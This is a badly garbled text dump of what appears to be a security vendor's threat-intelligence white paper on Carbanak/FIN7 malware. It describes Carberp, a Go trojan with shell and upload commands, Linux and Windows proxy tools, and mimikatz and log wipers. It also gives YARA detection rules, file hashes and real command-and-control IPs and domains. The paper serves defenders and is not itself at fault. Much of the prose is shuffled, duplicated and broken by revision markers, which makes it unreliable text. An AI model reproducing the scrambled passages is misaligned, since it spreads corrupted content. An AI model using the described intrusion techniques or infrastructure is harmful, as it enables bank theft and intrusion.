+HTML Application
+Application
+(MSHTA)
+createsregistry
+new ActiveX
+ActiveX
+object
+that
+executes
+encoded
+PowerShell
+script.
+This
+PowerShell
+script
+allocates
+executable
+memory
+into
+space,the
+then
+creates
+a thread
+base address
+of this
+memory.
+objectthat
+that executes
+encoded
+PowerShell
+script.at
+This
+PowerShell
+script allocates
+executable
+memory
+contents
+first
+into
+that
+then
+creates
+and copies
+copies
+the binary
+binary
+contents of
+first registry
+registry
+intoruns
+that space,
+space,
+thenCarberp
+creates aa thread
+thread
+athas
+the base
+base
+This
+shellcode
+unpacks
+Carberp
+address
+address of
+of this
+this memory.
+memory. This
+This shellcode
+shellcode unpacks
+unpacks aa Carberp
+Carberp DLL
+DLL and
+and runs
+runs it.
+it. The
+The Carberp
+Carberp DLL
+DLL has
+has antiantianti-analysis
+features
+that
+check for
+virtualization
+common
+sandboxing
+analysis
+analysis features
+features that
+that check
+check for
+for virtualization
+virtualization and
+and common
+common sandboxing
+sandboxing techniques,
+techniques, exiting
+exiting if
+if it
+it finds
+finds any.
+any.
+Endpoint
+Trojan
+aa floating
+techniques,
+it findsthis
+any.
+RSAas
+Endpoint
+discoversinstance
+this
+RSA NetWitness
+NetWitnessexiting
+Endpointifdiscovers
+discovers
+this
+Trojan
+asNetWitness
+floating DLL
+DLL in
+the user
+user
+s explorer.exe
+explorer.exe
+instance
+(Figure
+(Figure 17).
+17).
+Trojan
+as a floating DLL in the user
+s explorer.exe instance (Figure 17).
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted: uu
+Carberp
+Figure
+Carberp Floating
+Floating
+DLL DLL
+FigureFigure
+17:17:
+Carberp
+Floating
+Figure 18:
+Carberp
+Startup
+from
+Figure
+Figure 18:
+18: Carberp
+Carberp Startup
+Startup from
+from NEW
+When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking
+When
+inspecting
+this
+suspicious
+Endpoint,
+module
+Analyze
+shows suspicious
+network-related
+strings
+When
+inspecting
+thisselecting
+suspicious DLL
+in RSA
+RSA NetWitness
+NetWitness
+Endpoint, right-clicking
+right-clicking
+the module
+module
+selecting
+Analyze
+shows
+suspicious
+network-related
+strings
+(Figure
+19).
+malware
+communicates
+selecting 
+Analyze
+suspicious
+network-relatedvia
+strings
+(Figureto
+19).
+Thedomains
+malware communicates
+(Figure
+19). The shows
+malware
+communicates
+SSL/TLS
+below and
+via SSL/TLS
+SSL/TLS to
+to the
+the domains
+domains below
+below and
+and was
+was active
+active in
+in 2015.
+2015. The
+The Trojan
+Trojan may
+may also
+also be
+be configured
+configured to
+active in 2015.
+The Trojan
+may also
+be configured
+to communicate
+via HTTP
+communicate
+communicate via
+via HTTP
+HTTP and
+and be
+be detected
+detected using
+using the
+the HTTP
+HTTP section
+section of
+of the
+the RSA
+RSA NetWitness
+NetWitness Hunting
+Hunting Pack.
+Pack. If
+environment
+using
+SSL/TLS
+man-in-the-middle
+(MITM)
+device,
+even
+encrypted
+detected
+using
+HTTP
+section
+NetWitness
+Hunting
+Pack.
+the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted
+communications
+can easily
+easily
+be discovered.
+discovered.
+Ifcommunications
+the environment
+is using
+an SSL/TLS man-in-the-middle (MITM) device, even
+the encrypted communications can easily be discovered.
+19: Suspicious Strings in Floating DLL
+FigureFigure
+19: Suspicious
+Strings in Floating DLL
+Domain
+strangeerglassingpbx.org
+klyferyinsoxbabesy.biz
+oplesandroxgeoflax.org
+IP and Port
+192.52.167.137:443
+217.12.203.194:443
+never registered
+Deleted:
+Deleted: ri
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted: M
+Deleted:
+Deleted: M
+Deleted:
+Deleted: M
+WHITE PAPER
+Domain
+IP and Port
+strangeerglassingpbx.org
+192.52.167.137:443
+KLYFERYINSOXBABESY.BIZ
+217.12.203.194:443
+OPLESANDROXGEOFLAX.ORG
+NEVER REGISTERED
+The following YARA signature detects the unpacked DLL in an RSA
+NetWitness Endpoint environment.
+YARA Signature for Injected Carberp DLL
+rule Carbanak_Carberp
+meta:
+author = 
+RSA FW
+strings:
+$mz = { 4D 5A }
+$path = 
+%%userprofile%%\\AppData\\LocalLow\\%u.db
+ wide
+$sbox1 = 
+MALTEST
+ wide
+$sbox2 = 
+TEQUILABOOMBOOM
+ wide
+$sbox3 = 
+SANDBOX
+ wide
+$sbox4 = 
+VIRUS
+ wide
+$sbox5 = 
+MALWARE
+ wide
+$uri =
+/%s?user=%08x%08x%08x%08x&id=%u&ver=%u&os=%lu&os2
+=%lu&host=%u&k=%lu&type=%u
+ wide
+condition:
+$mz at 0 and $path and $uri and all of ($sbox*)
+2.1.3. Other Windows Trojans
+The Carbanak/FIN7 syndicate appears to have ready access to an array of
+common crimeware and banker-style Trojans, as well as a few custom, yet
+relatively simple, Trojans. This indicates that they either a) are part of the
+development team that built these Trojans or b) have access to the vendors
+that sell these intrusion sets. The simplicity of their custom malware indicates
+option b might be likely; however, there is no direct evidence to support this
+conclusion. Compounding this issue, the attackers appear to have a solid
+grasp on OPSEC, having evaded direct attribution thus far.
+The common malware repurposed for targeted intrusions is listed below
+with a brief description of each. This is worth mentioning so that a network
+defender can alert on AV logs for these specific classifications. By using
+malware that would be classified as a 
+common
+ threat, they are able to avoid
+intense scrutiny.
+WHITE PAPER
+Trojan Family
+Description
+Andromeda/Gamarue
+Backdoor commonly used to deliver banking
+Trojans; uses plug-ins like Carberp to extend
+functionality
+Qadars
+Banking Trojan loosely based on leaked source
+code of Carberp and Zeus; supports plug-ins
+Meterpreter
+Metasploit backdoor payload loader; very
+extensible
+Cobalt Strike
+Full-featured Red Team software; unlicensed
+versions using the HTTP beacon contain the
+X-malware HTTP header
+Odaniff
+Download and execute arbitrary files; run shell
+commands
+In addition to common crimeware repurposed for targeted intrusions, these
+actors also engineer their own custom, albeit simplistic, Trojans. The following
+example, 
+ctlmon.exe,
+ is indicative of their latest work.
+Carbanak/FIN7 Go Trojan
+File Name: ctlmon.exe
+File Size: 4392448 bytes
+MD5:
+370d420948672e04ba8eac10bfe6fc9c
+SHA1: 450605b6761ff8dd025978f44724b11e0c5eadcc
+PE Time: 0x0
+[Thu Jan 01 00:00:00 1970 UTC]
+Sections (4):
+Name Entropy MD5
+.text 5.86 81e6ebbfa5b3cca1c38be969510fae07
+.data 5.17 17c39e9611777b3bcf6d289ce02f42a1
+.idata 3.49 b6cb3301099e4b93902c3b59dcabb030
+.symtab 0.02 07b5472d347d42780469fb2654b7fc54
+This peculiar sample was simple in its implementation, but not simple to
+analyze. Written in Go language and compiled into a Windows Executable,
+it presented several hurdles to the tools a typical malware analyst will use,
+specifically IDA Pro. When importing this sample, nearly none of the functions
+were recognized by IDA
+s flow-disassembler (Figure 20).
+WHITE PAPER
+Figure
+20:20:
+Figure
+20:IDA
+Pro Flow-Disassembler
+Flow-Disassembler
+Figure
+Flow-Disassembler
+By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go
+By manually
+defining
+the codealong
+locations,
+alongfrom
+withstrazzere,
+a script from
+strazzere,
+By manually
+defining the
+code locations,
+with a script
+RSA Research
+parsed the Go
+Runtime code as well as the imported libraries. This still left more than 5000 functions to analyze (Figure
+Deleted:
+Runtime 21).
+code Research
+as well as the
+imported
+libraries.
+Thiscode
+still left
+more as
+than
+functions
+to analyze (Figure
+parsed
+the Go
+Runtime
+as well
+the5000
+imported
+libraries.
+21).
+This still left more than 5000 functions to analyze (Figure 21).
+Figure 21: New IDA Functions to Analyze
+Next, scanning through the functions to identify imported libraries
+not likely malicious or user created
+Deleted: 
+Figure
+NewIDA
+IDAFunctions
+Functions toto
+Analyze
+Figure
+21:21:
+Analyze
+allowed us to analyze the user-created logic. Now we simply reference the functionality of the library
+Deleted: 
+code (Figure
+22). the functions to identify imported libraries
+not likely malicious or user created
+Next, scanning
+through
+Next, scanning through the functions to identify imported libraries
+not likely
+allowed us to analyze the user-created logic. Now we simply reference the functionality of the library
+malicious or user created
+allowed us to analyze the user-created logic. Now
+code (Figure 22).
+we simply reference the functionality of the library code (Figure 22).
+Figure 22: User-Created
+Code Instead
+of Compiled
+Libraries
+Figure 22: User-Created
+Code
+Instead
+of Compiled
+Libraries
+Running a web search on the library calls leads to 
+runtime_stringtoslicebyte,
+ which takes a string and
+turns it into a sequence of bytes
+exactly as expected of a simple XOR key. The malware moves the
+offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of
+the XOR key string into RCX), and then onto the stack before it calls 
+runtime_stringtoslicebyte
+decode the configuration (Figure 23).
+Deleted: User
+Deleted: Googling
+Deleted: ,
+Deleted: 
+Deleted:
+WHITE PAPER
+Running a web search on the library calls leads to 
+runtime_stringtoslicebyte,
+which takes a string and turns it into a sequence of bytes
+exactly as expected
+of a simple XOR key. The malware moves the offset for the XOR key into RAX,
+then into a QWORD (global variable calculated based on the length of the
+XOR key string into RCX), and then onto the stack before it calls 
+runtime_
+stringtoslicebyte
+ to decode the configuration (Figure 23).
+Figure 23: Configuration XOR Key
+Figure 23: Configuration XOR Key
+Figure 23: Configuration XOR Key
+When the malware starts, it will decode the command strings used in memory to avoid static detection
+and heuristics (Figure 24).
+When
+the malware starts, it will decode the command strings used in memory
+When the malware starts, it will decode the command strings used in memory to avoid static detection
+static
+detection
+and heuristics (Figure 24).
+andavoid
+heuristics
+(Figure
+24).
+24: Decoded Trojan
+Commands
+Figure Figure
+24: Decoded
+Trojan
+Commands
+Figure 24: Decoded Trojan Commands
+A brief synopsis of the commands:
+A brief synopsis of the commands:
+Command
+FunctionFunction
+ACommand
+brief synopsis of the commands:
+Display process listing
+#shell
+Begin
+interactive
+shell
+Displaycommand
+process
+listing
+Command
+Function
+#kill
+Remove process
+Windows
+Service and malware
+Display
+listing
+#info
+system
+information
+#shell
+Begin
+interactive
+#shell
+Begin
+interactive
+command shellcommand shell
+#wget
+Download
+functionService
+via wget
+HTTP
+#kill
+Remove
+Windows
+malware
+#kill
+Remove
+#wput
+Upload
+function
+via Windows
+wput FTP Service and malware
+#info
+system
+information
+#name
+hostname
+of victim
+#wget
+Download
+function
+via wget
+HTTP
+#info
+system
+information
+#service
+Install malware
+Service with Service Name of
+#wput
+Upload
+functionasviaWindows
+wput FTP
+WindowsCtlMonitor
+#name
+Get hostname of victim
+#wget
+#service
+Deleted: M
+Download function via wget HTTP
+Install malware as Windows Service with Service Name of
+WindowsCtlMonitor
+#wput
+Upload
+functiondirectory
+via wput
+The malware also queries the user
+default %TEMP%
+looking
+for the xname.txt file and
+uploads to the C2 server. The malware does not create this file; therefore, its functionality remains
+#name
+Get hostname of victim
+unknown
+at this
+(Figure
+The malware
+alsotime
+queries
+the 25).
+user
+s default %TEMP% directory looking for the xname.txt file and
+uploads
+to the C2 server. The malware
+doesmalware
+not create this
+therefore,Service
+its functionality
+#service
+Install
+as file;
+Windows
+with remains
+Service
+unknown at this time (Figure 25).
+Name of 
+WindowsCtlMonitor
+The malware also queries the user
+s default %TEMP% directory looking for
+the xname.txt file and uploads to the C2 server. The malware does not create
+this file; therefore, its functionality remains unknown at this time (Figure 25).
+Deleted: M
+Deleted:
+Deleted:
+WHITE PAPER
+Figure 25: Malware Reading Unknown File
+The malware beacons to 107.181.246[.]146 over TCP port 443 with a simple, single-byte XOR key that
+FigureMalware
+25: Malware Reading
+Reading Unknown
+File
+Unknown
+File
+changes on every connection. Figure
+The output
+is a single-byte
+command
+output; the malware simply
+malware
+beacons toand
+107.181.246[.]146
+over TCP
+port 443 with
+a simple, single-byte
+XOR key the
+that #shell Deleted: sing
+redirects The
+STDIN,
+STDOUT
+STDERR across
+the encoded
+connection
+when it receives
+malware
+beacons The
+to 107.181.246[.]146
+over
+TCPoutput;
+port 443
+with asimply
+simple,
+changes
+on every connection.
+output is a single-byte XOR
+command
+the malware
+Deleted:
+command (Figure 26).
+redirects STDIN,
+STDOUT
+STDERR
+across
+encoded
+connection when
+it receives
+single-byte
+key and
+that
+changes
+ontheevery
+connection.
+outputtheis#shell
+a singlecommand (Figure 26).
+byte XOR command output; the malware simply redirects STDIN, STDOUT
+and STDERR across the encoded connection when it receives the #shell
+command (Figure 26).
+Figure 26: Simple Command Shell
+This Trojan may be detected with the YARA signature, below. RSA Research has not been able to locate
+Figure
+26:26:
+Simple
+Command
+Shell
+Figure
+Simpleto
+Command
+Shell
+any additional samples like this, making
+it impossible
+build a corpus
+of variants to diff them in an
+effort to identify what
+s common.
+Deleted:
+This Trojan may be detected with the YARA signature, below. RSA Research
+has not been able to locate any additional samples like this, making it
+This Trojan may be detected with the YARA signature, below. RSA Research has not been able to locate
+impossible to build a corpus of variants to diff them in an effort to identify
+any additional samples like this, making it impossible to build a corpus of variants to diff them in an
+what
+s common.
+effort to identify what
+s common.
+WHITE PAPER
+YARA Signature for Go Trojan
+rule Carbanak_Go_Trojan
+meta:
+author = 
+RSA FW
+strings:
+= { 4D 5A }
+$build_id = 
+Go build ID:
+33ee104ab2c9fc37c067a26623e7fddd3bb76302\
+$string = 
+xname.txt
+$sgc
+2.16.840.1.113730.4.1
+$msc
+1.3.6.1.4.1.311.10.3.3
+condition:
+$mz at 0 and ($build_id or ($string and #sgc and $msc))
+2.1.4. Linux and Other Tools
+Carbanak/FIN7 operators are not confined to a compromised organization
+Windows environment. While their goal is generally the Windows-based
+machines, certain sub-groups are rather adept in the Linux world and have
+used specialized tools to migrate from one to the other, as well as to maintain
+persistence. The following SOCKS5 proxy tool is a strong example.
+Carbanak/FIN7 Linux SOCKS5 Proxy
+Name auditd
+b57dc2bc16dfdb3de55923aef9a98401
+SHA-1 1d3501b30183ba213fb4c22a00d89db6fd50cc34
+Size
+21.1 KB (21616 bytes)
+Type
+Magic ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
+linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
+Name
+Type
+Address
+Offset
+Size Flags
+NULL
+NULL
+0x00000000 0x00000000 0
+.interp
+PROGBITS 0x00400200 0x00000200 28
+.note.ABI-tag
+NOTE
+0x0040021c 0x0000021c 32
+.note.gnu.build-id
+NOTE
+0x0040023c 0x0000023c 36
+.gnu.hash
+GNU_HASH 0x00400260 0x00000260 36
+.dynsym
+DYNSYM
+0x00400288 0x00000288 792
+.dynstr
+STRTAB
+0x004005a0 0x000005a0 280
+.gnu.version
+VERSYM
+0x004006b8 0x000006b8 66
+.gnu.version_r
+VERNEED
+0x00400700 0x00000700 32
+.rela.dyn
+RELA
+0x00400720 0x00000720 24
+WHITE PAPER
+The utility begins as a daemon and connects to 95.215.36[.]116 over TCP port
+443. These values, as well as credentials, are hardcoded into the malware and
+not obfuscated in any way (Figure 27).
+Figure 27: Hardcoded SOCKS5 Proxy Information
+Figure 27: Hardcoded SOCKS5 Proxy Information
+Figure 27:
+Hardcoded SOCKS5 Proxy Information
+The credentials
+are read from
+locations,
+sprintf()
+%s:%s
+%s:%s
+base64and
+encoded to
+The credentials
+are these
+read from
+thesecombined
+locations,with
+combined
+with
+sprintf()
+credentials are read from
+these(Figures
+locations,28
+combined
+with sprintf() 
+%s:%s
+ and base64 encoded to
+create the The
+Authorization-Basic
+string
+and 29).
+base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
+create the Authorization-Basic string (Figures 28 and 29).
+Figure 28: Reading the Password
+Figure 28: Reading the Password
+Figure 28: Reading the Password
+Figure 29: Reading the User ID
+Figure
+29: Reading the User ID
+The SOCKS5 proxy obfuscates its traffic with a simple XOR loop. The same key is also used in another
+one of their Windows IP forwarding tools, discussed later (Figure 30).
+WHITE PAPER
+Figure 29: Reading the User ID
+SOCKS5
+proxyitsobfuscates
+a simple
+loop.key
+The SOCKS5The
+proxy
+obfuscates
+traffic withitsa traffic
+simplewith
+loop. The
+same
+is also used in another
+same
+also
+used
+another
+their
+Windows
+forwarding
+tools,
+one of their Windows IP forwarding tools, discussed later (Figure 30).
+discussed later (Figure 30).
+Figure
+30:30:
+Obfuscation
+onTop
+TopofofSOCKS5
+SOCKS5
+Proxy
+Figure
+Obfuscation on
+Proxy
+This Linux SOCKS5 proxy may be found with this YARA rule:
+YARA Signature for Linux SOCKS5 Proxy
+rule Carbanak_ELF_SocksTunnel
+meta:
+author = 
+RSA FW
+strings:
+$elf = { 7F 45 4C }
+$s1 = 
+SendToTunnelSocks5Answer
+$s2 = 
+SendToTunnel
+$s3 = 
+process_out_data
+$s4 = 
+process_in_data
+$s5 = 
+update_tunnel_select_ex_cb
+$s6 = 
+update_tunnel_descriptors
+$s7 = 
+process_data_from_tunnel
+$s8 = 
+UpdatePingTime
+condition:
+$elf at 0 and all of ($s*)
+WHITE PAPER
+A similar Windows utility, 
+svcmd.exe
+, was discovered as well.
+Carbanak/FIN7 Windows IP Proxy Tool
+File Name: svcmd.exe
+File Size: 47104 bytes
+MD5:
+8b3a91038ecb2f57de5bbd29848b6dc4
+SHA1: 54074b3934955d4121d1a01fe2ed5493c3f7f16d
+PE Time: 0x58CBC258 [Fri Mar 17 11:02:48 2017 UTC]
+PEID Sig: Microsoft Visual C++ 8
+Sections (5):
+Name Entropy MD5
+.text 6.57 80dd3bd472624a01e5dff9e015ed74fd
+.rdata 5.44 b789b368b21d3d99504e6eb11a6d6111
+.data 2.31 970056273f112900c81725137f9f8b45
+.rsrc 5.1 44a70bdd3dc9af38103d562d29023882
+.reloc 4.4 c99c03a1ef6bc783bb6e534476e5155b
+This tool also has its configuration hardcoded into the malware and is plainly
+visible in its strings (Figure 31).
+Figure
+31: Clearly Visible Network Information
+Figure 31: Clearly Visible Network Information
+Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address
+185.86.151[.]174 on TCP port 443. It also uses a simple XOR obfuscation routine with the key of 0x41,
+the same as the Linux SOCKS5 proxy (Figure 32).
+WHITE PAPER
+Instead of a SOCKS5 proxy, this tool appears to directly forward packets to
+the IP address 185.86.151[.]174 on TCP port 443. It also uses a simple XOR
+obfuscation routine with the key of 0x41, the same as the Linux SOCKS5
+proxy (Figure 32).
+Figure 32: IP Proxy Tool XOR Routine
+Figure 32: IP Proxy Tool XOR Routine
+WHITE PAPER
+YARA Signature for Windows IP Proxy Tool
+rule Carbanak_IP_Proxy
+meta:
+author = 
+RSA FW
+strings:
+= { 4D 5A }
+$decoder = { 33 C0 EB 03 [0-3] 80 34 38 41 40 3B C6 75 F7 }
+condition:
+$mz at 0 and $decoder
+The syndicate also utilizes several freely available reconnaissance, lateral
+movement and privilege escalation tools, not to mention various Track data
+memory scrapers and other financial data-gathering utilities discovered in the
+wild. The table below enumerates the most common tools utilized by these actors.
+Tool
+Description
+mimikatz
+Password dumper; 32-bit or 64-bit
+mimikatz-lite
+Smaller version of mimikatz; 32-bit or 64-bit
+invoke-minikatz
+PowerShell version of mimikatz
+System scrapers
+Will return browser history and passwords, as well
+as RDP and share information
+WGET
+GNU HTTP tool; Win32 and ELF
+Network scanners
+Simple scanners to quickly identify open ports on a
+network segment
+Compression utilities
+RAR, 7zip, etc., renamed to compress exfil for faster
+transmission, as well as fooling simple flow analysis
+Log wipers
+From batch scripts, bash scripts, PowerShell scripts
+invoking WMIC commands to custom binaries
+configured to wipe logs
+Backdoored SSH and
+SSHD daemons
+Allows remote access with key-based authentication,
+as well as exfiltrating all successful authentications to
+a configured domain or IP on the internet
+Lateral movement
+tools
+PSEXEC, PAExec, TinyP, Winexec for Linux;
+allowing remote execution of arbitrary files with
+stolen credentials from one machine on the
+network to another
+Remote
+administration tools
+Ammy admin; plink used to create reverse SSH
+tunnel; various implementations of local proxies to
+circumvent firewalls and network segmentation
+WHITE PAPER
+Known exploits
+RTF, DOC, DOCX exploit lures; direct attacks on
+web applications and external infrastructure to gain
+a foothold in the network, as well as local privilege
+escalation vulnerabilities for Linux and Windows
+Table 1: Common Tools Used by Carbanak/FIN7
+3. ANUNAK HISTORICAL OVERVIEW
+The following figures were compiled from Anunak/Sekur samples acquired from
+VirusTotal. They were initially sorted by compile time, but this proved problematic
+as many had compile times zeroed out (resulting in a compile date of January 1,
+1970) or were tampered with to infer future compile date. Consequently, the
+samples were sorted by first submission to VirusTotal. The Trojans were often
+hardcoded with domains and IP addresses with a port. New indicators appear on
+the graph next to their submission date. Please note that no pDNS for the domains
+was added to the timeline due to the compile time vs. submission time irregularities.
+While there are many overlaps in infrastructure between 2014 (Figure 33)
+into early 2015, the 2015 period (Figure 34) shows a dramatic slowdown in the
+group
+s activity. It is noteworthy that Kaspersky reported (in February 2015)
+the group was responsible for stealing millions, if not billions, from banks during
+2013 and 2014. Several months later, the authorities made high-profile arrests
+on charges of ATM fraud and SWIFT transfers and other direct account transfers.
+The observed lull in the group
+s activity following this attribution and related
+arrests indicates that some of the more prolific actors were either caught, ceased
+their activity, moved on, or changed their TTPs and continued operations.
+While each of these options is a possible truth, RSA Research believes that the
+2015 curtailment of activity reflects Carbanak operators, still reeling from a law
+enforcement takedown, reorganizing into a more loosely affiliated syndicate. As
+mentioned previously, the graph shows net-new infrastructure, and it
+s worth
+it to note that in 2014 there were many different samples that communicated
+with overlapping domains and IP addresses. The immense slowdown in 2015
+in new indicators, and the fact that the samples observed stopped reusing or
+overlapping domains and IPs, suggest a fragmentation
+especially considering
+that 2016 shows very little intersection of domains and IPs.
+The 2016 period (Figure 35) shows an uptick in activity that included both reused and
+new malware. This led us to believe the reorganized Carbanak syndicate recruited
+new members, falling back on previously successful methods to exploit victim
+networks after gaining a foothold. This aligns with RSA Incident Response team
+s field
+experience, where actors using these same tactics and tools were found to be using
+custom or completely different Trojans than Carberp and Anunak/Sekur, post 2015.
+The 2017 time period (Figure 36), while not yet over, is relatively sparse compared to
+previous years, possibly indicating this malware is at the end of its lifecycle. It is likely,
+given the history, some remnants of it will be recycled into another implant in the future.
+WHITE PAPER
+2/10/2014
+3/1/2014
+5/2/2014
+mind-finder.com
+6/23/2014
+37.235.54.48:443
+4/1/2014
+7/2/2014
+financialnewsonline.pw
+185.10.56.59:443
+7/6/2014
+financialnewsonline.pw
+5/1/2014
+7/10/2014
+great-codes.com
+7/22/2014
+datsun-auto.com
+8/6/2014
+androidn.net
+8/12/2014
+209.222.30.5:443
+6/1/2014
+7/1/2014
+8/25/2014
+nyugorta.com,
+95.211.172.143:80
+9/26/2014
+87.236.210.109:443
+10/1/2014
+microso
+c1pol361.com,
+83.166.234.250:443
+10/9/2014
+get.bloody-roots.club,
+83.166.234.250:443
+10/15/2014
+5.61.32.118:443,
+66.55.133.86:80
+10/20/2014
+freemsk-dns.com,
+87.98.153.34:443
+10/23/2014
+216.170.117.88:443
+10/30/2014
+systemsvc.net,
+131.72.138.180:443
+11/21/2014
+onlineoffice.pw
+11/28/2014
+gendelf.com,
+31.7.61.136:443
+12/16/2014
+comixed.org
+162.221.183.109:443
+8/1/2014
+9/1/2014
+10/1/2014
+11/1/2014
+2/10/2014
+paradise-plaza.com,
+188.138.98.105:700
+3/5/2014
+akamai-technologies.org,
+158.58.172.157:700
+4/24/2014
+java-update.co.uk,
+184.22.58.143:443
+6/10/2014
+adguard.name,
+5.199.169.188:443
+6/22/2014
+public-dns.com,
+58.158.177.102:80,
+88.198.184.241:700
+7/3/2014
+87.236.210.109:443
+7/3/2014
+update-java.net
+7/8/2014
+public-dns.us
+7/18/2014
+travel-maps.info
+7/31/2014
+69.195.129.70:80
+8/5/2014
+di-led.com,
+108.61.197.233:443,
+108.61.197.254:80
+8/22/2014
+glonass-map.com,
+88.198.184.241:443
+9/7/2014
+31.131.17.128:443
+10/8/2014
+worldnewsonline.pw,
+185.10.56.59:443,
+69.195.129.70:80
+10/12/2014
+31.131.17.125:443
+10/19/2014
+216.170.117.7:443
+10/22/2014
+coral-travel.com,
+31.131.17.127:443
+69.195.129.72:80
+11/17/2014
+microso
+1povkjbdw87kgf518nl361.com,
+131.72.138.180:443
+11/25/2014
+microso
+jhecwhb7832873.com,
+12/1/2014
+12/31/2014
+Figure 33: 2014 Infrastructure
+81.17.17.42:443
+12/8/2014
+216.170.117.28:443,
+94.100.180.200:80
+12/24/2014
+217.172.186.179:443,
+85.143.166.76.80
+WHITE PAPER
+1/1/2015
+2/26/2015
+92.255.170.197:444
+3/3/2015
+playbe
+ngx.net,
+185.29.9.51:443
+2/1/2015
+3/1/2015
+4/1/2015
+5/5/2015
+weekend-service.com,
+216.170.116.120:443
+2/23/2015
+coral-trevel.com,
+31.131.17.127:443,
+69.195.129.72:80,
+87.98.153.34:443
+3/3/2015
+193.203.48.41:700,
+91.207.60.68:80
+4/7/2015
+77.88.55.77:80,
+87.236.210.109:443
+5/1/2015
+5/14/2015
+94.156.77.149:80
+6/1/2015
+6/2/2015
+194.146.180.58:80,
+87.98.217.9:443
+7/1/2015
+7/30/2015
+185.29.9.28:443
+8/1/2015
+9/1/2015
+8/31/2015
+141.255.167.28:443
+10/1/2015
+10/9/2015
+88.150.175.102:443
+11/1/2015
+10/21/2015
+107.161.145.208:443,
+62.75.218.45:80
+10/14/2015
+5.9.189.40:443
+11/10/2015
+194.146.180.58:80,
+89.46.103.42:443
+12/1/2015
+12/31/2015
+8/6/2015
+82.163.78.188:443
+Figure 34: 2015 Infrastructure
+WHITE PAPER
+1/1/2016
+1/27/2016
+149.202.138.110:443,
+194.146.180.40:80
+2/16/2016
+194.146.180.40:80
+2/23/2016
+www.carenty44.net,
+78.128.92.29:443
+1/19/2016
+social.strideindustrialusa.com
+2/1/2016
+3/1/2016
+2/17/2016
+www.draiklehfert.com,
+151.80.8.10:443
+4/1/2016
+3/2/2016
+www.crap
+oerne.com,
+216.170.118.136:443,
+95.211.172.143:80
+3/10/2016
+107.161.159.17:443
+4/5/2016
+www.payrt.com,
+185.29.11.7:443
+4/25/2016
+176.101.223.100:443,
+194.146.180.41:80
+5/27/2016
+94.140.120.132:443,
+95.215.46.70:443
+6/30/2016
+193.203.48.23:700,
+89.144.14.65:80
+5/1/2016
+6/1/2016
+7/1/2016
+7/23/2016
+138.201.44.10:443,
+95.215.47.109:443
+8/17/2016
+great-codes.com,
+public-dns.us,
+wefwe3223wfdsf,
+188.138.98.105:701,
+37.235.54.48:443,
+5.61.38.52:443
+9/7/2016
+ajlindustries.myfreesites.net
+2/5/2016
+23.249.162.161:443
+3/21/2016
+151.80.8.10:443
+4/8/2016
+185.86.149.60:443,
+95.215.45.228:443
+5/1/2016
+www.sityahoogoodt.com,
+151.80.241.83:443
+5/25/2016
+194.146.180.44:80
+6/11/2016
+updateserver.info
+7/12/2016
+179.43.140.82:443
+8/1/2016
+8/10/2016
+46.165.228.24:443
+9/1/2016
+10/1/2016
+9/4/2016
+176.101.223.101:443,
+194.146.180.43:80
+9/12/2016
+185.86.151.210:443,
+204.155.30.87:443
+11/1/2016
+10/24/2016
+204.155.30.100:443
+12/1/2016
+Figure 35: 2016 Infrastructure
+WHITE PAPER
+6/1/2017
+6/26/2017
+185.180.198.2:443
+31.148.219.126:443
+6/18/2017
+176.101.223.105:443
+7/1/2017
+7/24/2017
+7/19/2017
+5.152.203.121:443
+7/25/2017
+shfdhghghfg.com,
+52.11.125.44:443
+Figure 36: 2017 Infrastructure
+4. OVERLAP WITH COMMON CRIMEWARE CAMPAIGNS
+During RSA Research
+s analysis, an interesting link emerged to several crimeware
+campaigns. This made sense, considering the prolific use of banker Trojans and
+other information-stealing Trojans by these groups. The Anunak/Sekur malware
+is the only unique family attributed to these groups. The rest are common,
+repurposed malware. By pivoting on the known infrastructure with respect to when
+the Trojans were active, RSA Research was able to discover a potential overlap.
+Linked Sample
+File Name: face85f789faec82197703e296bd0c872f621902624b34c
+108f0460bc687ab70.exe
+FILE SIZE: 204800 BYTES
+MD5:
+1E47E12D11580E935878B0ED78D2294F
+SHA1: 8230E932427BFD4C2494A6E0269056535B9E6604
+PE TIME: 0X534BD7C7 [MON APR 14 12:42:47 2014 UTC]
+PEID SIG: MICROSOFT VISUAL C++ 8
+SECTIONS (5):
+NAME ENTROPY MD5
+.TEXT
+6.5 EAFBA59CAFA0E4FA350DFD3144E02446
+.RDATA
+7.77 25617CE39E035E60FA0D71C2C28E1BF5
+.DATA
+6.57 1284A97C9257513AAEBE708AC82C2E38
+.RSRC
+4.91 F6207D7460A0FBDDC2C32C60191B6634
+.RELOC
+4.01 2E7EEC2C3E7BA29FBF3789A788B4228E
+The compile time of this sample does not appear to be tampered with. It
+was submitted to VirusTotal on August 25, 2014, from Russia via a web
+submission as 
+great1404_chelnok.exe.
+ The web submission, as well as a nonhash filename, suggests this was from the victim and not a researcher. This
+would give the actor a possible dwell time of over four months, more than
+enough time to accomplish their goals.
+Name
+Entropy MD5
+.text
+eafba59cafa0e4fa350dfd3144e02446
+.rdata 7.77 25617ce39e035e60fa0d71c2c28e1bf5
+.data 6.57 1284a97c9257513aaebe708ac82c2e38
+.rsrc
+4.91 f6207d7460a0fbddc2c32c60191b6634
+.reloc 4.01 2e7eec2c3e7ba29fbf3789a788b4228e
+WHITE PAPER
+The compile time of this sample does not appear to be tampered with. It was submitted to VirusTotal on
+August 25, 2014, from Russia via a web submission as 
+great1404_chelnok.exe.
+ The web submission, as
+well as a non-hash filename, suggests this was from the victim and not a researcher. This would give the
+actor a possible dwell time of over four months, more than enough time to accomplish their goals.
+Deleted: V
+Upon further
+analysis,
+we determined
+the Trojan is Anunak
+and is hardcoded
+to use
+theisHTTP
+Upon
+further
+analysis,
+we determined
+the Trojan
+is Anunak
+hardcoded
+communications method with the domain nyugorta.com (Figure 37).
+Deleted:
+to use the HTTP C2 communications method with the domain nyugorta.com
+(Figure 37).
+Deleted: th
+Deleted: .
+Deleted:
+Deleted: 4
+Deleted: nd
+Deleted:
+Deleted: th
+FigureFigure
+37: 37:
+Anunak
+Trojan
+Beacon
